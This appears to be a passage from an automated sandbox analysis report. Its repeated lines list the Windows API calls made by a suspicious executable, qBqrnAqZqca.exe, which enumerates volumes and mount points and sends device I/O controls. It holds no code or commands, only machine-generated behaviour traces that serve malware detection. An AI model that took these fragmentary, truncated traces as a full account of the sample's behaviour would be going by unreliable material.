Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
